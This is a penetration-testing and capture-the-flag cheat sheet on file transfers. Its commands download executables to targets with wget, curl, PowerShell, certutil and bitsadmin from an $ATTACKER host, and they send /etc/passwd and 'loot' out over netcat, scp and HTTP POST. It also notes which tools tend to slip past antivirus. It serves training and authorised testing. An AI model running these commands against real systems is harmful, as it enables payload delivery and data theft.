File Transfers
Table of Contents
Moving files between attacker and target during a pentest. Method depends on what is available on the target — always check before assuming. Python HTTP server + wget/curl covers most Linux CTF scenarios. SMB or certutil for Windows.
Related: Netcat SSH Pivoting Nmap
Serving Files — Attacker Side
# Python HTTP server — simplest, start in directory containing file python3 -m http.server 8080 # Netcat nc -q 0 -lvnp 4444 < file.txt # SMB — for Windows targets when HTTP is blocked impacket-smbserver share . -smb2support impacket-smbserver share . -smb2support -user user -password pass # authenticated
Downloading — Linux Target
wget http://$ATTACKER:8080/file -O /tmp/file curl http://$ATTACKER:8080/file -o /tmp/file # Netcat receive nc $ATTACKER 4444 > file # No wget/curl — use /dev/tcp bash -c 'cat < /dev/tcp/$ATTACKER/4444 > /tmp/file'
Downloading — Windows Target
# PowerShell — IWR powershell -c "iwr http://$ATTACKER:8080/file.exe -OutFile C:\Windows\Temp\file.exe" # PowerShell — DownloadFile powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER:8080/file.exe','C:\Windows\Temp\file.exe')" # Certutil — often not blocked by AV certutil -urlcache -split -f http://$ATTACKER:8080/file.exe file.exe # SMB — no tool needed copy \\$ATTACKER\share\file.exe C:\Windows\Temp\file.exe # Bitsadmin — legacy but reliable bitsadmin /transfer job http://$ATTACKER:8080/file.exe C:\Windows\Temp\file.exe
Exfiltration — Target to Attacker
# Netcat # Attacker nc -lvnp 4444 > loot.txt # Target nc $ATTACKER 4444 < /etc/passwd # SCP (requires SSH access) scp /etc/passwd user@$ATTACKER:/tmp/passwd # PowerShell upload via HTTP POST powershell -c "Invoke-RestMethod -Uri http://$ATTACKER:8080/upload -Method Post -InFile C:\loot.txt"
Base64 Transfer
Use when direct transfer is blocked — paste encoded output into any interactive shell.
# Encode on attacker / Linux target base64 -w 0 file.txt && echo # Decode on Linux target echo <base64> | base64 -d > file.txt # Encode on Windows [Convert]::ToBase64String([IO.File]::ReadAllBytes("file.exe")) # Decode on Windows [IO.File]::WriteAllBytes("file.exe",[Convert]::FromBase64String("<base64>"))
Tips
- Check what is available first:
which wget curl nc python3 - Certutil and bitsadmin are less likely to be flagged by AV than PowerShell downloads on hardened targets
- SMB is useful when HTTP egress is filtered — common in realistic Windows environments
- Base64 is slow but works in any shell including limited web shells
- On CTFs Python HTTP server + wget covers the vast majority of cases — keep it simple